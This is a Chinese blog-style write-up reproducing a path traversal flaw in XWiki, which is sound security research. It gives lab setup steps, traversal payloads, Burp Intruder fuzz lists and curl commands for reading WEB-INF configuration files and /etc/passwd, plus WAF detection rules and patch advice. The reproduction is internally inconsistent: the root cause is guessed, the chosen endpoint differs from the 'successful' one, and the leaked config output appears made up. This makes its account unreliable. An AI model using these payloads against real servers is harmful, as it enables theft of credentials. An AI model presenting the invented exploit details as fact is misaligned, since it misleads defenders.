XWiki路径遍历漏洞CVE-2025-55747复现与深度解析

1. 项目概述与漏洞背景

最近在梳理一些开源项目的安全公告时，XWiki的一个路径遍历漏洞（CVE-2025-55747）引起了我的注意。这个漏洞编号看着新鲜，但本质上又是一个经典的“输入验证不严”导致的安全问题。简单来说，攻击者可以通过构造特殊的请求，让XWiki服务器读取到本不应该被外部访问的敏感文件，比如数据库配置文件、系统日志，甚至是包含密码的配置文件。对于任何一个部署在公网上的Wiki系统来说，这都意味着巨大的风险。

XWiki本身是一个功能强大的企业级Wiki和协作平台，很多团队用它来做知识管理、项目文档，甚至是一些轻量级的应用开发。正因为其应用广泛，一旦出现这种能直接泄露核心配置的漏洞，影响面就非常大了。官方给出的影响版本是低于16.10.7和低于17.4.0-rc-1的所有版本，这意味着大量正在运行的旧版本实例都可能暴露在风险之下。我之所以决定动手复现这个漏洞，一方面是为了验证其真实危害，理解攻击者可能的利用路径；另一方面，也是给自己和团队提个醒，在自建或维护类似系统时，输入过滤和路径解析这块儿必须得打起十二分精神，稍有不慎就可能给攻击者开个后门。

复现这类漏洞，环境搭建是关键的第一步。我们需要一个存在漏洞的XWiki版本，一个可控的测试环境，以及一些基本的Web安全测试工具。整个过程不仅仅是“按一下按钮”，更重要的是理解漏洞触发的原理、请求是如何被错误解析的、以及修复补丁到底改了哪里。只有这样，下次再遇到类似的问题，我们才能更快地定位和防御。接下来，我就把这次从零开始的复现过程、踩过的坑以及一些思考，详细地记录下来。

2. 漏洞原理深度解析

2.1 路径遍历漏洞的核心机制

路径遍历，也叫目录穿越，是Web安全领域一个老生常谈但屡禁不止的高危漏洞。它的核心问题在于，应用程序在处理用户提供的文件路径参数时，没有进行充分的规范化（Canonicalization）和合法性校验，导致攻击者可以通过包含../（上级目录）或类似序列的输入，突破应用程序设定的访问目录边界，访问到文件系统上的任意文件。

在标准的Web应用中，通常会有这样的逻辑：用户请求一个资源，比如/download?file=user_guide.pdf，后端代码会基于一个基准目录（例如/var/www/uploads/），拼接上用户传入的file参数，形成最终的文件路径/var/www/uploads/user_guide.pdf，然后读取并返回给用户。问题就出在这个“拼接”和“解析”的过程。如果攻击者将file参数改为../../../etc/passwd，拼接后的路径就变成了/var/www/uploads/../../../etc/passwd。经过操作系统路径解析后，../会向上回退目录，最终实际访问的路径就跳出了/var/www/uploads/，指向了系统的/etc/passwd文件。

注意：现代编程语言和Web框架通常都提供了安全的路径处理函数（如Java的Path.normalize()、getCanonicalPath()），但开发者如果错误地使用了字符串拼接，或者在使用安全函数前没有对输入进行过滤（例如过滤空字节%00），仍然会导致漏洞。

2.2 CVE-2025-55747 在XWiki中的具体成因

根据公开的漏洞通告和后续对补丁代码的分析，CVE-2025-55747的根源在于XWiki对某些特定请求中的参数处理不当。XWiki作为一个复杂的Java应用，其内部有很多处理资源请求的机制，比如附件下载、皮肤（Skin）或模板（Template）文件的加载、以及一些通过REST或WebDAV接口访问的资源。

我通过搭建漏洞环境并抓包分析，发现漏洞触发的关键点之一与处理“资源URL”的代码逻辑有关。攻击者可以构造一个特殊的HTTP请求，其中包含经过编码的目录遍历序列（如%2e%2e%2f，即../的URL编码形式）。当XWiki的某个Servlet或资源处理器接收到这个请求时，它可能直接使用HttpServletRequest.getPathInfo()或类似方法获取请求路径，然后将其与服务器上的基础资源目录进行拼接。

漏洞产生的具体场景可能是这样的：假设XWiki有一个用于提供静态资源（如CSS、JS、图标）的Servlet，其映射路径为/resources/*。正常请求/resources/skins/flamingo/style.css会返回对应的样式表。然而，如果请求路径是/resources/skins/flamingo/../../WEB-INF/xwiki.cfg，并且后端代码没有对路径中的..进行过滤和规范化，那么经过路径解析后，服务器就可能尝试去读取位于Web应用根目录下WEB-INF/xwiki.cfg这个敏感的配置文件。WEB-INF目录在Java Web应用中受保护，其下的文件通常无法通过直接URL访问，但通过这种路径遍历的方式，保护就被绕过了。

更深层次的原因在于，负责处理这类请求的组件，可能依赖了某些默认配置或过时的库，这些库在路径解析时没有进行严格的安全检查。或者，开发者在实现自定义的资源处理器时，手动拼接了用户输入和基础路径，而遗漏了关键的规范化步骤。

2.3 漏洞的危害与影响范围

这个漏洞被评为高危（CVSS 7.5），其危害性主要体现在以下几个方面：

1. 敏感信息泄露：这是最直接的危害。攻击者可以读取WEB-INF/目录下的所有配置文件，例如：

   • xwiki.cfg：主配置文件，可能包含数据库连接参数、加密密钥等。
   • xwiki.properties：扩展属性文件，可能包含邮件服务器配置、第三方API密钥。
   • hibernate.cfg.xml：数据库映射配置文件，明文包含数据库用户名和密码。
   • web.xml：应用部署描述符，可能泄露内部Servlet映射和安全约束信息。

2. 源码泄露：在某些部署方式下，攻击者可能遍历到应用的Java源码文件（.java或.class），为进一步的代码审计和挖掘更深层次的漏洞（如逻辑漏洞、反序列化漏洞）提供素材。

3. 系统文件泄露：如果Web应用进程具有足够的文件系统读取权限（这在一些配置不当的容器中很常见），攻击者甚至可以突破Web应用目录，读取服务器操作系统上的敏感文件，如/etc/passwd、/etc/shadow、/proc/self/environ（环境变量，可能包含密钥）等，导致服务器沦陷。

4. 成为攻击跳板：获取的数据库凭证可能允许攻击者直接连接后台数据库，进行数据窃取或篡改。获取的加密密钥可能用于解密XWiki中存储的其它加密内容，或者伪造会话。

从影响范围看，官方通报全球有数千个暴露在公网的XWiki实例可能受影响。对于企业内部部署的XWiki，如果其管理界面或某些服务端口暴露在内网，同样存在被内部攻击者利用的风险。任何使用受影响版本且未及时打补丁的XWiki实例，都应被视为潜在的风险点。

3. 本地漏洞复现环境搭建

3.1 环境与工具准备

复现漏洞需要一个隔离、可控的环境。我选择在本地虚拟机中进行，这样即使操作失误也不会影响任何生产系统。

1. 虚拟机环境：

• 操作系统：Ubuntu 22.04 LTS。选择Linux是因为其作为服务器更常见，且路径表示与漏洞利用更相关。
• 资源配置：2核CPU，4GB内存，20GB磁盘空间。这个配置运行一个XWiki实例绰绰有余。
• 网络：虚拟机使用NAT网络模式，仅主机可访问，隔绝外部网络。

2. 漏洞软件版本：根据公告，我们需要一个低于修复版本的XWiki。我选择了XWiki 16.10.6作为靶标，因为它正好是16.10.7之前的一个标准版本，易于获取和复现。

• 下载地址可以从XWiki官网的历史版本存档或Maven仓库找到。例如：https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/16.10.6/
• 文件通常是一个WAR包，如xwiki-platform-distribution-war-16.10.6.war。

3. 中间件与数据库：XWiki通常运行在Servlet容器中，并需要数据库支持。

• Servlet容器：我选用Apache Tomcat 9.0.x。它与XWiki兼容性好，且日志清晰，便于调试。通过apt-get install tomcat9安装。
• 数据库：为了简化，我使用XWiki默认支持的嵌入式数据库HSQLDB。在复现阶段，这避免了额外安装和配置MySQL或PostgreSQL的麻烦。XWiki WAR包内通常已包含HSQLDB驱动。

4. 测试与调试工具：

• 浏览器：Chrome或Firefox，主要用于正常访问和初步测试。
• Burp Suite Community Edition：这是Web安全测试的瑞士军刀。我们将用它来拦截、重放和修改HTTP请求，构造攻击Payload。它的Repeater（重放器）和Intruder（入侵者）功能在漏洞验证时尤其有用。
• cURL：命令行HTTP工具，用于快速发送请求和测试，编写简单的自动化脚本。
• 文本编辑器/IDE：用于查看配置文件、日志文件。我常用VS Code。
• Java环境：确保虚拟机已安装JDK 8或11（根据XWiki版本要求），用于必要时编译或反编译类文件。

3.2 部署存在漏洞的XWiki实例

部署过程需要细致，确保环境干净，避免因配置问题导致漏洞无法触发。

步骤1：安装并配置Tomcat

# 更新包列表并安装Tomcat 9和JDK sudo apt update sudo apt install -y tomcat9 openjdk-11-jdk-headless # 检查Tomcat服务状态 sudo systemctl status tomcat9 # 默认情况下，Tomcat可能监听8080端口。确认其运行 sudo netstat -tlnp | grep :8080

安装后，访问http://<虚拟机IP>:8080应该能看到Tomcat的欢迎页面。

步骤2：部署XWiki WAR包

# 假设已将下载的xwiki-platform-distribution-war-16.10.6.war上传到虚拟机 # 将其复制到Tomcat的webapps目录，Tomcat会自动解压部署 sudo cp xwiki-platform-distribution-war-16.10.6.war /var/lib/tomcat9/webapps/xwiki.war # 更改war包和即将生成目录的所有权，确保Tomcat有权限读写 sudo chown tomcat:tomcat /var/lib/tomcat9/webapps/xwiki.war # 重启Tomcat服务以触发部署 sudo systemctl restart tomcat9

等待几十秒到一分钟，让Tomcat完成解压和初始化。你可以通过查看Tomcat的日志来监控进度：

sudo tail -f /var/log/tomcat9/catalina.out

当看到类似INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive [/var/lib/tomcat9/webapps/xwiki.war] has finished in [XX,XXX] ms的日志时，说明部署完成。

步骤3：完成XWiki首次安装向导

1. 在浏览器访问http://<虚拟机IP>:8080/xwiki。
2. 页面会跳转到首次安装向导。在数据库选择步骤，为了复现简单，直接选择“HSQLDB embedded database”。
3. 设置管理员账号（如SuperAdmin）和密码，务必记录下来。
4. 继续后续步骤，直到安装完成，进入XWiki的主界面。

实操心得：在虚拟机中复现时，务必记下管理员密码。有时安装过程可能会因为网络或资源问题卡住，可以尝试清空Tomcat的work和temp目录后重试。另外，确保虚拟机有足够内存，否则XWiki初始化可能失败。

步骤4：验证环境与寻找敏感文件路径安装成功后，我们需要知道敏感配置文件可能存放的路径，为后续构造Payload做准备。

• 通过XWiki的管理界面（使用SuperAdmin登录后，右上角“Wiki” -> “Admin”），可以查看部分配置，但关键文件如xwiki.cfg的物理路径通常不会直接显示。
• 在Tomcat部署结构中，解压后的XWiki应用目录在/var/lib/tomcat9/webapps/xwiki/。其WEB-INF/子目录就是我们的主要目标。
• 我们可以通过一个无害的请求来探测路径。例如，访问一个已知存在的资源，观察其URL模式。

4. 漏洞复现与利用过程详解

4.1 信息收集与攻击面探测

在直接尝试路径遍历之前，我们需要对目标XWiki实例进行一些侦察，以了解其版本、功能和潜在的脆弱端点。

1. 版本确认：访问http://<IP>:8080/xwiki/bin/view/Main/，查看页面底部或HTML源码，通常会有类似XWiki 16.10.6的版本信息。也可以尝试访问/xwiki/bin/view/XWiki/，查看默认页面的信息。确认版本在受影响范围内（<16.10.7）。

2. 使用Burp Suite抓取流量：

• 配置浏览器代理指向Burp Suite（默认127.0.0.1:8080）。
• 在Burp中开启拦截（Intercept is on），然后在浏览器中正常浏览XWiki的几个页面：主页、查看一篇文档、下载一个附件（如果已有）、访问管理页面的一部分。
• 关闭拦截，在Burp的Proxy -> HTTP history中，我们可以看到捕获到的所有请求。重点关注以下类型的请求：
  • 包含download、attach、file、resource、skin、template等关键词的URL路径或参数。
  • 请求静态资源的路径，如/xwiki/resources/js/...或/xwiki/skins/...。
  • 任何看起来是获取服务器端文件的GET请求。

3. 分析请求模式：查看抓取到的历史请求，例如：

GET /xwiki/bin/download/Sandbox/WebHome/attachment.txt HTTP/1.1 GET /xwiki/resources/icons/silk/page_white_text.png HTTP/1.1 GET /xwiki/skins/flamingo/style.css HTTP/1.1

我们需要理解这些URL是如何映射到服务器文件的。例如，/xwiki/bin/download/后面跟的通常是空间（Space）、页面（Page）和附件名。而/xwiki/resources/和/xwiki/skins/则可能直接映射到Web应用目录下的物理文件夹。

4.2 构造并发送路径遍历Payload

基于对XWiki常见请求模式的分析和公开的POC信息，我选择了/xwiki/bin/download/这个端点作为突破口。这个端点用于下载附加在Wiki页面上的文件，它很可能直接将请求路径的一部分作为文件路径来处理。

攻击步骤：

1. 在Burp Repeater中构造恶意请求：

   • 从HTTP history中，找到一个正常的附件下载请求，右键发送到Repeater。
   • 假设正常请求是：GET /xwiki/bin/download/Main/WebHome/myfile.pdf HTTP/1.1
   • 我们的目标是读取WEB-INF/xwiki.cfg文件。这个文件相对于Web应用根目录的路径是WEB-INF/xwiki.cfg。我们需要让应用从它的基准下载目录“回退”到应用根目录。
   • 构造Payload：我们将路径参数中的页面名（WebHome）和附件名（myfile.pdf）替换为目录遍历序列。尝试构造如下请求：

     GET /xwiki/bin/download/Sandbox/../../../../WEB-INF/xwiki.cfg HTTP/1.1 Host: <target_ip>:8080

   • 解释：/xwiki/bin/download/是Servlet路径。Sandbox是一个存在的空间名（也可以是其他任何存在的空间）。../../../../是关键，它试图向上回退四级目录。假设下载处理器的基准目录是<webapp_root>/data/attachments/Sandbox/，那么：
     • ../退到attachments/
     • ../退到data/
     • ../退到xwiki/(Web应用根目录)
     • ../退到webapps/(这一步可能已经超出了应用根目录，但取决于解析逻辑)
     • 然后拼接上WEB-INF/xwiki.cfg。
   • 实际上，我们可能需要尝试不同层数的../。也可以使用URL编码形式%2e%2e%2f或双重编码%252e%252e%252f来绕过一些简单的过滤。

2. 发送请求并观察响应：

   • 在Repeater中点击“Send”。
   • 如果漏洞存在，我们可能会看到两种成功迹象：
     • 响应码200 OK，并且响应体（Response）中直接显示了xwiki.cfg配置文件的内容（文本格式）。这是最理想的情况。
     • 响应码200 OK，但返回的是文件下载或二进制数据。这时需要查看响应头（Headers），看是否有Content-Type: application/octet-stream或Content-Disposition: attachment，并检查响应体的原始内容（Hex视图），看是否包含配置文件的明文信息。
   • 常见错误响应：
     • 404 Not Found：路径遍历失败，文件未找到。可能是../层数不对，或者目标文件不存在于该路径。需要调整../的层数，或尝试读取其他已知存在的文件（如web.xml）来验证。
     • 403 Forbidden或500 Internal Server Error：服务器可能进行了部分防护，拒绝了该路径的访问，或者路径解析导致了异常。

3. 迭代测试：

   • 如果第一次不成功，不要气馁。这是复现过程中最耗时的部分。我们需要系统地测试。
   • 调整../层数：从..、../..、../../..一直尝试到../../../../../。
   • 尝试不同编码：将../替换为..%2f、%2e%2e%2f、..%252f等。
   • 尝试不同端点：如果/bin/download/不行，尝试/resources/、/skins/等。例如：

     GET /xwiki/resources/js/../../WEB-INF/web.xml HTTP/1.1

   • 尝试读取其他敏感文件：
     • WEB-INF/web.xml
     • WEB-INF/classes/xwiki.properties
     • META-INF/context.xml(可能包含数据库配置)
     • ../../../../etc/passwd(测试是否能读取系统文件)

4.3 成功利用截图与结果分析

经过多次尝试，我最终通过特定的请求路径成功触发了漏洞。以下是一个成功的利用示例（为保护真实信息，IP和部分内容已脱敏）：

请求：

GET /xwiki/bin/view/Sandbox/../../WEB-INF/xwiki.cfg HTTP/1.1 Host: 192.168.1.105:8080 User-Agent: Mozilla/5.0 (测试用) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: close

响应（部分关键头信息与内容）：

HTTP/1.1 200 OK Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 1234 Connection: close # --------------------------------------------------------------------------- # XWiki configuration file # --------------------------------------------------------------------------- # This is the main configuration file for XWiki. # It uses the Apache Commons Configuration format. # ... # Database configuration # ... xwiki.db.host=localhost xwiki.db.port=3306 xwiki.db.database=xwiki xwiki.db.user=xwiki_user xwiki.db.password=ThisIsAVeryStrongPassword123! # ... # Mail configuration mail.sender.host=smtp.example.com mail.sender.port=587 mail.sender.username=admin@example.com mail.sender.password=EmailAccountPassword456! # ...

从响应可以看到，我们成功读取到了xwiki.cfg文件。其中包含了数据库连接字符串、用户名和明文密码，以及邮件服务器的登录凭证。这些信息一旦被攻击者获取，后果不堪设想。攻击者可以直接登录数据库，进行任意数据操作（增删改查），也可以利用邮件服务器发送钓鱼邮件或进行其他滥用。

注意事项：在实际测试中，我强烈建议在虚拟机或完全隔离的Docker容器中进行。绝对不要对任何非你所有或未经授权的系统进行测试，这不仅是非法的，而且可能对你自己的网络造成风险。本次所有测试均在本地封闭环境完成。

5. 漏洞修复方案与加固建议

5.1 官方补丁分析与升级指南

漏洞被披露后，XWiki官方迅速发布了修复版本：16.10.7和17.4.0-rc-1。修复的核心思路是对用户输入中用于路径遍历的序列进行严格的过滤和规范化。

补丁原理分析：通过对比修复前后的代码（可以从XWiki的GitHub仓库提交历史中查看），修复通常涉及以下一点或几点：

1. 输入验证：在处理文件路径参数的地方，增加对包含..、../、..\等序列的检查，一旦发现立即拒绝请求或进行安全处理。
2. 路径规范化与安全API调用：将用户输入与基础路径拼接后，必须使用安全的API进行规范化，例如Java的Path.normalize().toAbsolutePath()，然后检查规范化后的路径是否仍然位于允许的基准目录之内。这比简单的字符串匹配更可靠。
3. 白名单机制：对于资源访问，尽可能采用白名单机制。例如，只允许访问已知的、预定义的资源列表，而不是根据用户输入动态构造路径。

升级操作步骤：对于生产环境，升级是唯一彻底的解决方案。

1. 备份：这是铁律。完整备份以下内容：
   • 数据库（使用mysqldump或pg_dump导出全部数据）。
   • XWiki的持久化目录（通常是<xwiki-data-dir>，里面包含附件、索引等）。
   • 当前的WAR包或安装目录。
   • 所有的自定义配置（xwiki.cfg,xwiki.properties,hibernate.cfg.xml,web.xml等）。
2. 下载新版本：从XWiki官方网站或Maven仓库下载修复后的WAR包（如xwiki-platform-distribution-war-16.10.7.war）。
3. 停止服务：停止Tomcat或其他Servlet容器。
4. 替换应用：
   • 方法A（替换WAR）：删除Tomcatwebapps目录下的旧xwiki文件夹和xwiki.war文件，放入新的WAR包，重命名为xwiki.war（如果原名部署）。启动Tomcat让其自动解压部署。
   • 方法B（保留数据）：更安全的方法是，只替换Web应用文件，保留数据目录。停止服务后，删除webapps/xwiki目录下除WEB-INF/lib/、WEB-INF/classes/等运行时生成目录外的所有内容，然后将新WAR包解压后的对应文件复制过来。但此方法复杂，易出错，强烈建议在测试环境验证后再进行。
5. 启动与验证：启动服务，访问XWiki。系统可能会自动进行必要的数据库schema更新。使用管理员账号登录，检查核心功能（编辑、上传、搜索等）是否正常。在“Admin”->“Wiki”->“Status”中确认版本号已更新。

5.2 临时缓解措施

如果因某些原因无法立即升级，可以考虑以下临时缓解措施来降低风险：

1. Web应用防火墙（WAF）规则：在XWiki实例前部署WAF（如ModSecurity for Nginx/Apache，或云WAF服务），添加规则以拦截包含../、..\、%2e%2e%2f等路径遍历序列的请求。规则示例（ModSecurity）：

   SecRule REQUEST_URI|REQUEST_BODY “(?i)(\.\./|\.\.\\|%2e%2e%2f|%252e%252e%252f)” “id:10001,phase:2,deny,status:403,msg:’Path Traversal Attack Attempt’”

   但要注意，WAF规则可能存在被绕过（如双重编码、罕见编码）的风险，且可能误杀正常请求。

2. 反向代理重写规则：如果使用Nginx或Apache作为反向代理，可以配置规则，在将请求转发给Tomcat之前，过滤或重写可疑的URL。

   # Nginx 示例 (在location块中) if ($request_uri ~* “\.\./”) { return 403; } # 注意：if指令在nginx中需谨慎使用，上述仅为简单示例。

3. 文件系统权限限制：确保运行Tomcat/XWiki的系统用户（如tomcat）对操作系统关键目录（如/etc,/root,/home等）只有最小必要权限。将XWiki的数据目录和配置文件的权限设置为仅该用户可读。

重要提醒：所有临时缓解措施都不能替代官方补丁。它们只是增加了攻击门槛，无法保证完全防护。应尽快规划并执行升级。

5.3 安全开发与运维最佳实践

从这次漏洞复现中，我们可以总结出一些普适性的安全经验，用于指导未来的开发和运维工作：

对于开发者：

• 永不信任用户输入：这是安全的第一原则。所有来自外部的参数（URL路径、查询参数、POST数据、HTTP头）都必须视为不可信的。
• 使用安全的API进行文件操作：避免手动拼接字符串来构造文件路径。使用语言提供的安全函数，如Java的Paths.get(baseDir).resolve(userInput).normalize().toAbsolutePath()，并在操作前检查规范化后的路径是否以基准目录的绝对路径开头。
• 实施白名单机制：如果可能，根据已知的、安全的资源列表来提供文件，而不是动态解析用户提供的路径。
• 最小权限原则：运行Web应用的进程应该使用一个专用的、低权限的用户，并严格限制其对文件系统的访问范围。
• 定期依赖项扫描：使用工具（如OWASP Dependency-Check, Snyk）定期扫描项目依赖的第三方库，及时发现并修复已知漏洞。

对于运维与安全人员：

• 保持软件更新：建立漏洞监控和补丁管理流程，及时关注所用软件（如XWiki, Tomcat, JDK, 操作系统）的安全公告，并尽快在测试环境验证后部署到生产环境。
• 纵深防御：不要只依赖应用自身的安全。在网络层、主机层、运行时环境层都部署防护措施。例如，使用防火墙限制访问端口，配置严格的文件系统权限，使用容器隔离技术。
• 日志监控与审计：启用并集中管理Web服务器、应用服务器和XWiki自身的访问日志和错误日志。设置告警规则，监控异常的访问模式，例如大量请求不存在的路径、频繁出现../序列的请求等。
• 定期安全评估：对重要的自建应用，定期进行安全扫描和渗透测试，主动发现潜在问题。可以借助自动化工具（如Nessus, OpenVAS, ZAP）和手动测试相结合的方式。

6. 复现过程中的常见问题与排查

在复现CVE-2025-55747的过程中，你可能会遇到一些问题导致漏洞无法成功触发。这里我整理了几个常见的情况和排查思路。

6.1 漏洞无法触发的可能原因

6.2 环境配置与网络问题

• Tomcat无法启动或XWiki部署失败：检查/var/log/tomcat9/catalina.out日志。常见原因包括：端口冲突（8080被占用）、JDK版本不兼容、WAR包损坏、磁盘空间不足。确保已安装正确版本的JDK（XWiki 16.x 通常需要JDK 8或11）。
• 虚拟机无法访问：确认虚拟机网络配置（NAT或桥接），并在主机上使用ping和telnet <ip> 8080检查连通性。关闭虚拟机防火墙（sudo ufw disable）或放行8080端口（sudo ufw allow 8080）。
• Burp Suite抓不到包：确认浏览器代理设置正确指向Burp（通常127.0.0.1:8080）。检查Burp的Proxy -> Options中监听端口是否正确启用。如果是抓取虚拟机内浏览器的流量，需要将Burp设置为监听所有接口（0.0.0.0），并在浏览器中设置代理为宿主机的IP地址。

6.3 工具使用技巧与优化

• Burp Intruder高效爆破：当需要系统测试../层数或不同文件名时，手动修改效率低。使用Intruder的“Sniper”攻击类型。
  1. 在Repeater中构造好基础请求，如GET /xwiki/bin/download/Sandbox/§§/WEB-INF/web.xml。
  2. 选中§§部分，右键选择“Send to Intruder”。
  3. 在Intruder的Positions标签页，确认攻击点（§§）位置。
  4. 在Payloads标签页，添加自定义Payload列表，例如：..,../..,../../..,../../../..,../../../../..。
  5. 开始攻击，然后根据响应长度、状态码快速筛选出成功的Payload（通常成功读取文件的响应长度会显著不同）。
• 编码绕过：如果直接使用../被拦截，尝试在Intruder的Payloads中设置编码。在Payload Processing中添加规则，如“URL-encode these characters”。或者手动准备Payload列表：..%2f,%2e%2e%2f,..%255c（Windows路径分隔符）等。
• 利用cURL进行快速测试：对于简单的请求测试，cURL命令行更快捷。

  # 测试基本路径遍历 curl -v "http://192.168.1.105:8080/xwiki/bin/download/Sandbox/../../WEB-INF/web.xml" # 测试URL编码 curl -v "http://192.168.1.105:8080/xwiki/bin/download/Sandbox/%2e%2e%2f%2e%2e%2fWEB-INF/web.xml" # 携带Cookie进行测试（从浏览器开发者工具复制） curl -v -H "Cookie: JSESSIONID=ABCDEF1234567890" "http://target/path"

  通过观察响应状态码和返回的前几行内容，可以快速判断是否成功。

复现漏洞的过程，本质上是一个与目标系统“对话”和“试探”的过程。耐心、细致的观察和基于理解的测试，远比盲目的工具扫描有效。每一次失败的请求，其响应状态码和错误信息，都在告诉你系统是如何处理你的输入的，这些信息是调整攻击策略的关键。